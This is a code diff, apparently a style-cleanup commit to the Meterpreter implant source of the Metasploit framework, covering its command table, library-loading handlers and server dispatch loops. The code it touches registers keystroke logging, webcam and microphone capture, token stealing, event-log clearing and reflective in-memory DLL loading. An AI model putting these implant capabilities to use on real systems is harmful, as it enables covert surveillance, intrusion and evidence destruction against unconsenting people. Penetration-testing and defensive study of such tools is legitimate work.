COMMAND_REQ("stdapi_registry_enum_key", request_registry_enum_key),
|
||||
COMMAND_REQ("stdapi_registry_delete_key", request_registry_delete_key),
|
||||
COMMAND_REQ("stdapi_registry_close_key", request_registry_close_key),
|
||||
COMMAND_REQ("stdapi_registry_set_value", request_registry_set_value),
|
||||
COMMAND_REQ("stdapi_registry_query_value", request_registry_query_value),
|
||||
COMMAND_REQ("stdapi_registry_query_class", request_registry_query_class),
|
||||
COMMAND_REQ("stdapi_registry_enum_value", request_registry_enum_value),
|
||||
COMMAND_REQ("stdapi_registry_delete_value", request_registry_delete_value),
|
||||
#endif
|
||||
|
||||
// Sys/config
|
||||
COMMAND_REQ( "stdapi_sys_config_getuid", request_sys_config_getuid ),
|
||||
COMMAND_REQ( "stdapi_sys_config_sysinfo", request_sys_config_sysinfo ),
|
||||
COMMAND_REQ( "stdapi_sys_config_rev2self", request_sys_config_rev2self ),
|
||||
COMMAND_REQ( "stdapi_sys_config_getprivs", request_sys_config_getprivs ),
|
||||
COMMAND_REQ( "stdapi_sys_config_getenv", request_sys_config_getenv ),
|
||||
COMMAND_REQ("stdapi_sys_config_getuid", request_sys_config_getuid),
|
||||
COMMAND_REQ("stdapi_sys_config_sysinfo", request_sys_config_sysinfo),
|
||||
COMMAND_REQ("stdapi_sys_config_rev2self", request_sys_config_rev2self),
|
||||
COMMAND_REQ("stdapi_sys_config_getprivs", request_sys_config_getprivs),
|
||||
COMMAND_REQ("stdapi_sys_config_getenv", request_sys_config_getenv),
|
||||
#ifdef _WIN32
|
||||
COMMAND_REQ( "stdapi_sys_config_steal_token", request_sys_config_steal_token ),
|
||||
COMMAND_REQ( "stdapi_sys_config_drop_token", request_sys_config_drop_token ),
|
||||
COMMAND_REQ("stdapi_sys_config_steal_token", request_sys_config_steal_token),
|
||||
COMMAND_REQ("stdapi_sys_config_drop_token", request_sys_config_drop_token),
|
||||
#endif
|
||||
|
||||
// Net
|
||||
COMMAND_REQ( "stdapi_net_config_get_routes", request_net_config_get_routes ),
|
||||
COMMAND_REQ( "stdapi_net_config_add_route", request_net_config_add_route ),
|
||||
COMMAND_REQ( "stdapi_net_config_remove_route", request_net_config_remove_route ),
|
||||
COMMAND_REQ( "stdapi_net_config_get_interfaces", request_net_config_get_interfaces ),
|
||||
COMMAND_REQ( "stdapi_net_config_get_arp_table", request_net_config_get_arp_table ),
|
||||
COMMAND_REQ( "stdapi_net_config_get_netstat", request_net_config_get_netstat ),
|
||||
COMMAND_REQ("stdapi_net_config_get_routes", request_net_config_get_routes),
|
||||
COMMAND_REQ("stdapi_net_config_add_route", request_net_config_add_route),
|
||||
COMMAND_REQ("stdapi_net_config_remove_route", request_net_config_remove_route),
|
||||
COMMAND_REQ("stdapi_net_config_get_interfaces", request_net_config_get_interfaces),
|
||||
COMMAND_REQ("stdapi_net_config_get_arp_table", request_net_config_get_arp_table),
|
||||
COMMAND_REQ("stdapi_net_config_get_netstat", request_net_config_get_netstat),
|
||||
|
||||
#ifdef WIN32
|
||||
COMMAND_REQ( "stdapi_net_config_get_proxy", request_net_config_get_proxy_config),
|
||||
// Proxy
|
||||
COMMAND_REQ("stdapi_net_config_get_proxy", request_net_config_get_proxy_config),
|
||||
// Resolve
|
||||
COMMAND_REQ( "stdapi_net_resolve_host", request_resolve_host ),
|
||||
COMMAND_REQ( "stdapi_net_resolve_hosts", request_resolve_hosts ),
|
||||
COMMAND_REQ("stdapi_net_resolve_host", request_resolve_host),
|
||||
COMMAND_REQ("stdapi_net_resolve_hosts", request_resolve_hosts),
|
||||
#endif
|
||||
|
||||
// Socket
|
||||
COMMAND_REQ( "stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown ),
|
||||
COMMAND_REQ("stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown),
|
||||
|
||||
#ifdef _WIN32
|
||||
// UI
|
||||
COMMAND_REQ( "stdapi_ui_enable_mouse", request_ui_enable_mouse ),
|
||||
COMMAND_REQ( "stdapi_ui_enable_keyboard", request_ui_enable_keyboard ),
|
||||
COMMAND_REQ( "stdapi_ui_get_idle_time", request_ui_get_idle_time ),
|
||||
COMMAND_REQ( "stdapi_ui_start_keyscan", request_ui_start_keyscan ),
|
||||
COMMAND_REQ( "stdapi_ui_stop_keyscan", request_ui_stop_keyscan ),
|
||||
COMMAND_REQ( "stdapi_ui_get_keys", request_ui_get_keys ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_enum", request_ui_desktop_enum ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_get", request_ui_desktop_get ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_set", request_ui_desktop_set ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot ),
|
||||
COMMAND_REQ("stdapi_ui_enable_mouse", request_ui_enable_mouse),
|
||||
COMMAND_REQ("stdapi_ui_enable_keyboard", request_ui_enable_keyboard),
|
||||
COMMAND_REQ("stdapi_ui_get_idle_time", request_ui_get_idle_time),
|
||||
COMMAND_REQ("stdapi_ui_start_keyscan", request_ui_start_keyscan),
|
||||
COMMAND_REQ("stdapi_ui_stop_keyscan", request_ui_stop_keyscan),
|
||||
COMMAND_REQ("stdapi_ui_get_keys", request_ui_get_keys),
|
||||
COMMAND_REQ("stdapi_ui_desktop_enum", request_ui_desktop_enum),
|
||||
COMMAND_REQ("stdapi_ui_desktop_get", request_ui_desktop_get),
|
||||
COMMAND_REQ("stdapi_ui_desktop_set", request_ui_desktop_set),
|
||||
COMMAND_REQ("stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot),
|
||||
|
||||
// Event Log
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_open", request_sys_eventlog_open ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_read", request_sys_eventlog_read ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_clear", request_sys_eventlog_clear ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_close", request_sys_eventlog_close ),
|
||||
COMMAND_REQ("stdapi_sys_eventlog_open", request_sys_eventlog_open),
|
||||
COMMAND_REQ("stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords),
|
||||
COMMAND_REQ("stdapi_sys_eventlog_read", request_sys_eventlog_read),
|
||||
COMMAND_REQ("stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest),
|
||||
COMMAND_REQ("stdapi_sys_eventlog_clear", request_sys_eventlog_clear),
|
||||
COMMAND_REQ("stdapi_sys_eventlog_close", request_sys_eventlog_close),
|
||||
|
||||
// Power
|
||||
COMMAND_REQ( "stdapi_sys_power_exitwindows", request_sys_power_exitwindows ),
|
||||
COMMAND_REQ("stdapi_sys_power_exitwindows", request_sys_power_exitwindows),
|
||||
|
||||
// Webcam
|
||||
COMMAND_REQ( "webcam_list", request_webcam_list ),
|
||||
COMMAND_REQ( "webcam_start", request_webcam_start ),
|
||||
COMMAND_REQ( "webcam_get_frame", request_webcam_get_frame ),
|
||||
COMMAND_REQ( "webcam_stop", request_webcam_stop ),
|
||||
COMMAND_REQ("webcam_list", request_webcam_list),
|
||||
COMMAND_REQ("webcam_start", request_webcam_start),
|
||||
COMMAND_REQ("webcam_get_frame", request_webcam_get_frame),
|
||||
COMMAND_REQ("webcam_stop", request_webcam_stop),
|
||||
|
||||
// Audio
|
||||
COMMAND_REQ( "webcam_audio_record", request_ui_record_mic ),
|
||||
COMMAND_REQ("webcam_audio_record", request_ui_record_mic),
|
||||
|
||||
#endif
|
||||
COMMAND_TERMINATOR
|
||||
@ -181,7 +182,7 @@ DWORD InitServerExtension(Remote *remote)
|
||||
#ifdef _WIN32
|
||||
hMetSrv = remote->hMetSrv;
|
||||
#endif
|
||||
command_register_all( customCommands );
|
||||
command_register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -195,8 +196,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD DeinitServerExtension(Remote *remote)
|
||||
#endif
|
||||
{
|
||||
command_deregister_all( customCommands );
|
||||
command_deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
@ -1,10 +1,9 @@
|
||||
#include <dlfcn.h>
|
||||
#include "metsrv.h"
|
||||
|
||||
extern Command *extension_commands;
|
||||
extern Command *extensionCommands;
|
||||
|
||||
DWORD
|
||||
request_core_loadlib(Remote *remote, Packet *packet)
|
||||
DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
@ -14,24 +13,24 @@ request_core_loadlib(Remote *remote, Packet *packet)
|
||||
PCHAR targetPath;
|
||||
int local_error = 0;
|
||||
Command *command;
|
||||
Command *first = extension_commands;
|
||||
Command *first = extensionCommands;
|
||||
|
||||
do
|
||||
{
|
||||
Tlv dataTlv;
|
||||
|
||||
libraryPath = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_LIBRARY_PATH);
|
||||
flags = packet_get_tlv_value_uint(packet,
|
||||
TLV_TYPE_FLAGS);
|
||||
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
|
||||
// Invalid library path?
|
||||
if (!libraryPath) {
|
||||
if (!libraryPath)
|
||||
{
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
if(flags & LOAD_LIBRARY_FLAG_LOCAL) {
|
||||
if (flags & LOAD_LIBRARY_FLAG_LOCAL)
|
||||
{
|
||||
// i'd be surprised if we could load
|
||||
// libraries off the remote system without breaking severely.
|
||||
res = ERROR_NOT_SUPPORTED;
|
||||
@ -40,43 +39,50 @@ request_core_loadlib(Remote *remote, Packet *packet)
|
||||
|
||||
// Get the library's file contents
|
||||
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
|
||||
&dataTlv) != ERROR_SUCCESS) ||
|
||||
(!(targetPath = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_TARGET_PATH)))) {
|
||||
&dataTlv) != ERROR_SUCCESS) ||
|
||||
(!(targetPath = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_TARGET_PATH))))
|
||||
{
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("targetPath: %s", targetPath);
|
||||
|
||||
library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length );
|
||||
library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length);
|
||||
dprintf("dlopenbuf(%s): %08x / %s", targetPath, library, dlerror());
|
||||
if(! library) {
|
||||
if (!library)
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
// If this library is supposed to be an extension library, try to
|
||||
// call its Init routine
|
||||
if (flags & LOAD_LIBRARY_FLAG_EXTENSION) {
|
||||
DWORD (*init)(Remote *remote);
|
||||
if (flags & LOAD_LIBRARY_FLAG_EXTENSION)
|
||||
{
|
||||
DWORD(*init)(Remote *remote);
|
||||
|
||||
init = dlsym(library, "InitServerExtension" );
|
||||
init = dlsym(library, "InitServerExtension");
|
||||
// Call the init routine in the library
|
||||
if( init ) {
|
||||
if (init)
|
||||
{
|
||||
dprintf("calling InitServerExtension");
|
||||
res = init(remote);
|
||||
}
|
||||
if (response) {
|
||||
for (command = extension_commands; command != first; command = command->next) {
|
||||
if (response)
|
||||
{
|
||||
for (command = extensionCommands; command != first; command = command->next)
|
||||
{
|
||||
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
} while (0);
|
||||
|
||||
if (response) {
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||
packet_transmit(remote, response, NULL);
|
||||
}
|
||||
|
@ -1,3 +1,6 @@
|
||||
/*!
|
||||
* @file server_setup.c
|
||||
*/
|
||||
#include "metsrv.h"
|
||||
#include "../../common/common.h"
|
||||
|
||||
@ -43,33 +46,37 @@ const unsigned int hAppInstance = 0x504b5320; // 'PKS '
|
||||
#define PREPEND_INFO "### Info : "
|
||||
#define PREPEND_WARN "### Warn : "
|
||||
|
||||
/*
|
||||
* This thread is the main server thread which we use to syncronize a gracefull
|
||||
* shutdown of the server during process migration.
|
||||
*/
|
||||
THREAD * serverThread = NULL;
|
||||
/*! @brief This thread is the main server thread. */
|
||||
static THREAD * serverThread = NULL;
|
||||
|
||||
/*
|
||||
* An array of locks for use by OpenSSL.
|
||||
*/
|
||||
/*! @brief An array of locks for use by OpenSSL. */
|
||||
static LOCK ** ssl_locks = NULL;
|
||||
|
||||
/*
|
||||
* A callback function used by OpenSSL to leverage native system locks.
|
||||
/*!
|
||||
* @brief A callback function used by OpenSSL to leverage native system locks.
|
||||
* @param mode The lock mode to set.
|
||||
* @param type The lock type to operate on.
|
||||
* @param file Unused.
|
||||
* @param line Unused.
|
||||
*/
|
||||
static VOID server_locking_callback( int mode, int type, const char * file, int line )
|
||||
static VOID server_locking_callback(int mode, int type, const char * file, int line)
|
||||
{
|
||||
if( mode & CRYPTO_LOCK )
|
||||
lock_acquire( ssl_locks[type] );
|
||||
if (mode & CRYPTO_LOCK)
|
||||
{
|
||||
lock_acquire(ssl_locks[type]);
|
||||
}
|
||||
else
|
||||
lock_release( ssl_locks[type] );
|
||||
{
|
||||
lock_release(ssl_locks[type]);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* A callback function used by OpenSSL to get the current threads id.
|
||||
* While not needed on windows this must be used for posix meterpreter.
|
||||
/*!
|
||||
* @brief A callback function used by OpenSSL to get the current threads id.
|
||||
* @returns The current thread ID.
|
||||
* @remarks While not needed on windows this must be used for posix meterpreter.
|
||||
*/
|
||||
static DWORD server_threadid_callback( VOID )
|
||||
static DWORD server_threadid_callback(VOID)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
return GetCurrentThreadId();
|
||||
@ -81,7 +88,7 @@ static DWORD server_threadid_callback( VOID )
|
||||
/*
|
||||
* Callback function for dynamic lock creation for OpenSSL.
|
||||
*/
|
||||
static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line )
|
||||
static struct CRYPTO_dynlock_value * server_dynamiclock_create(const char * file, int line)
|
||||
{
|
||||
return (struct CRYPTO_dynlock_value *)lock_create();
|
||||
}
|
||||
@ -93,10 +100,14 @@ static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l,
|
||||
{
|
||||
LOCK * lock = (LOCK *)l;
|
||||
|
||||
if( mode & CRYPTO_LOCK )
|
||||
lock_acquire( lock );
|
||||
if (mode & CRYPTO_LOCK)
|
||||
{
|
||||
lock_acquire(lock);
|
||||
}
|
||||
else
|
||||
lock_release( lock );
|
||||
{
|
||||
lock_release(lock);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
@ -322,59 +333,62 @@ static BOOL server_negotiate_ssl(Remote *remote)
|
||||
return success;
|
||||
}
|
||||
|
||||
/*
|
||||
* The servers main dispatch loop for incoming requests using SSL over TCP
|
||||
/*!
|
||||
* @brief The servers main dispatch loop for incoming requests using SSL over TCP
|
||||
* @param remote Pointer to the remote endpoint for this server connection.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
static DWORD server_dispatch( Remote * remote )
|
||||
static DWORD server_dispatch(Remote * remote)
|
||||
{
|
||||
LONG result = ERROR_SUCCESS;
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
Packet * packet = NULL;
|
||||
THREAD * cpt = NULL;
|
||||
THREAD * cpt = NULL;
|
||||
|
||||
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote );
|
||||
dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);
|
||||
|
||||
// Bring up the scheduler subsystem.
|
||||
result = scheduler_initialize( remote );
|
||||
if( result != ERROR_SUCCESS )
|
||||
return result;
|
||||
|
||||
while( TRUE )
|
||||
result = scheduler_initialize(remote);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
if( event_poll( serverThread->sigterm, 0 ) )
|
||||
return result;
|
||||
}
|
||||
|
||||
while (running)
|
||||
{
|
||||
if (event_poll(serverThread->sigterm, 0))
|
||||
{
|
||||
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
|
||||
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
|
||||
break;
|
||||
}
|
||||
|
||||
result = server_socket_poll( remote, 100 );
|
||||
if( result > 0 )
|
||||
result = server_socket_poll(remote, 100);
|
||||
if (result > 0)
|
||||
{
|
||||
result = packet_receive( remote, &packet );
|
||||
if( result != ERROR_SUCCESS ) {
|
||||
dprintf( "[DISPATCH] packet_receive returned %d, exiting dispatcher...", result );
|
||||
result = packet_receive(remote, &packet);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
|
||||
break;
|
||||
}
|
||||
|
||||
if( !command_handle( remote, packet ) )
|
||||
{
|
||||
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
|
||||
break;
|
||||
}
|
||||
running = command_handle(remote, packet);
|
||||
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
|
||||
}
|
||||
else if( result < 0 )
|
||||
else if (result < 0)
|
||||
{
|
||||
dprintf( "[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result );
|
||||
dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf( "[DISPATCH] calling scheduler_destroy..." );
|
||||
dprintf("[DISPATCH] calling scheduler_destroy...");
|
||||
scheduler_destroy();
|
||||
|
||||
dprintf( "[DISPATCH] calling command_join_threads..." );
|
||||
dprintf("[DISPATCH] calling command_join_threads...");
|
||||
command_join_threads();
|
||||
|
||||
dprintf( "[DISPATCH] leaving server_dispatch." );
|
||||
dprintf("[DISPATCH] leaving server_dispatch.");
|
||||
|
||||
return result;
|
||||
}
|
||||
@ -385,6 +399,7 @@ static DWORD server_dispatch( Remote * remote )
|
||||
*/
|
||||
static DWORD server_dispatch_http_wininet( Remote * remote )
|
||||
{
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
Packet * packet = NULL;
|
||||
THREAD * cpt = NULL;
|
||||
@ -455,7 +470,7 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
|
||||
if( result != ERROR_SUCCESS )
|
||||
return result;
|
||||
|
||||
while( TRUE )
|
||||
while(running)
|
||||
{
|
||||
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
|
||||
dprintf("[DISPATCH] Shutting down server due to communication timeout");
|
||||
@ -501,11 +516,8 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
|
||||
|
||||
dprintf("[DISPATCH] Returned result: %d", result);
|
||||
|
||||
if( !command_handle( remote, packet ) )
|
||||
{
|
||||
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
|
||||
break;
|
||||
}
|
||||
running = command_handle(remote, packet);
|
||||
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
|
||||
}
|
||||
|
||||
// Close WinInet handles
|
||||
|
@ -6,7 +6,7 @@ extern HINSTANCE hAppInstance;
|
||||
// see remote_dispatch_common.c
|
||||
extern LIST * extension_list;
|
||||
// see common/base.c
|
||||
extern Command *extension_commands;
|
||||
extern Command *extensionCommands;
|
||||
|
||||
DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
{
|
||||
@ -17,15 +17,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
DWORD flags = 0;
|
||||
BOOL bLibLoadedReflectivly = FALSE;
|
||||
|
||||
Command *first = extension_commands;
|
||||
Command *first = extensionCommands;
|
||||
Command *command;
|
||||
|
||||
do
|
||||
{
|
||||
libraryPath = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_LIBRARY_PATH);
|
||||
flags = packet_get_tlv_value_uint(packet,
|
||||
TLV_TYPE_FLAGS);
|
||||
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
|
||||
// Invalid library path?
|
||||
if (!libraryPath)
|
||||
@ -42,9 +40,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
|
||||
// Get the library's file contents
|
||||
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
|
||||
&dataTlv) != ERROR_SUCCESS) ||
|
||||
(!(targetPath = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_TARGET_PATH))))
|
||||
&dataTlv) != ERROR_SUCCESS) ||
|
||||
(!(targetPath = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_TARGET_PATH))))
|
||||
{
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
@ -54,13 +52,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
|
||||
{
|
||||
// try to load the library via its reflective loader...
|
||||
library = LoadLibraryR( dataTlv.buffer, dataTlv.header.length );
|
||||
if( library == NULL )
|
||||
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
|
||||
if (library == NULL)
|
||||
{
|
||||
// if that fails, presumably besause the library doesn't support
|
||||
// reflective injection, we default to using libloader...
|
||||
library = libloader_load_library( targetPath,
|
||||
dataTlv.buffer, dataTlv.header.length );
|
||||
library = libloader_load_library(targetPath,
|
||||
dataTlv.buffer, dataTlv.header.length);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -72,8 +70,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
else
|
||||
{
|
||||
// Otherwise, save the library buffer to disk
|
||||
res = buffer_to_file(targetPath, dataTlv.buffer,
|
||||
dataTlv.header.length);
|
||||
res = buffer_to_file(targetPath, dataTlv.buffer,
|
||||
dataTlv.header.length);
|
||||
}
|
||||
|
||||
// Override the library path
|
||||
@ -94,21 +92,21 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
// call its Init routine
|
||||
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library))
|
||||
{
|
||||
EXTENSION * extension = (EXTENSION *)malloc( sizeof(EXTENSION) );
|
||||
if( extension )
|
||||
EXTENSION * extension = (EXTENSION *)malloc(sizeof(EXTENSION));
|
||||
if (extension)
|
||||
{
|
||||
extension->library = library;
|
||||
|
||||
// if the library was loaded via its reflective loader we must use GetProcAddressR()
|
||||
if( bLibLoadedReflectivly )
|
||||
if (bLibLoadedReflectivly)
|
||||
{
|
||||
extension->init = (PSRVINIT)GetProcAddressR( extension->library, "InitServerExtension" );
|
||||
extension->deinit = (PSRVDEINIT)GetProcAddressR( extension->library, "DeinitServerExtension" );
|
||||
extension->init = (PSRVINIT)GetProcAddressR(extension->library, "InitServerExtension");
|
||||
extension->deinit = (PSRVDEINIT)GetProcAddressR(extension->library, "DeinitServerExtension");
|
||||
}
|
||||
else
|
||||
{
|
||||
extension->init = (PSRVINIT)GetProcAddress( extension->library, "InitServerExtension" );
|
||||
extension->deinit = (PSRVDEINIT)GetProcAddress( extension->library, "DeinitServerExtension" );
|
||||
extension->init = (PSRVINIT)GetProcAddress(extension->library, "InitServerExtension");
|
||||
extension->deinit = (PSRVDEINIT)GetProcAddress(extension->library, "DeinitServerExtension");
|
||||
}
|
||||
|
||||
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
|
||||
@ -117,20 +115,26 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
remote->hMetSrv = hAppInstance;
|
||||
|
||||
// Call the init routine in the library
|
||||
if( extension->init )
|
||||
if (extension->init)
|
||||
{
|
||||
dprintf("[SERVER] Calling init()...");
|
||||
|
||||
res = extension->init( remote );
|
||||
res = extension->init(remote);
|
||||
|
||||
if( res == ERROR_SUCCESS )
|
||||
list_push( extension_list, extension );
|
||||
if (res == ERROR_SUCCESS)
|
||||
{
|
||||
list_push(extension_list, extension);
|
||||
}
|
||||
else
|
||||
free( extension );
|
||||
{
|
||||
free(extension);
|
||||
}
|
||||
}
|
||||
dprintf("[SERVER] Called init()...");
|
||||
if (response) {
|
||||
for (command = extension_commands; command != first; command = command->next) {
|
||||
if (response)
|
||||
{
|
||||
for (command = extensionCommands; command != first; command = command->next)
|
||||
{
|
||||
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user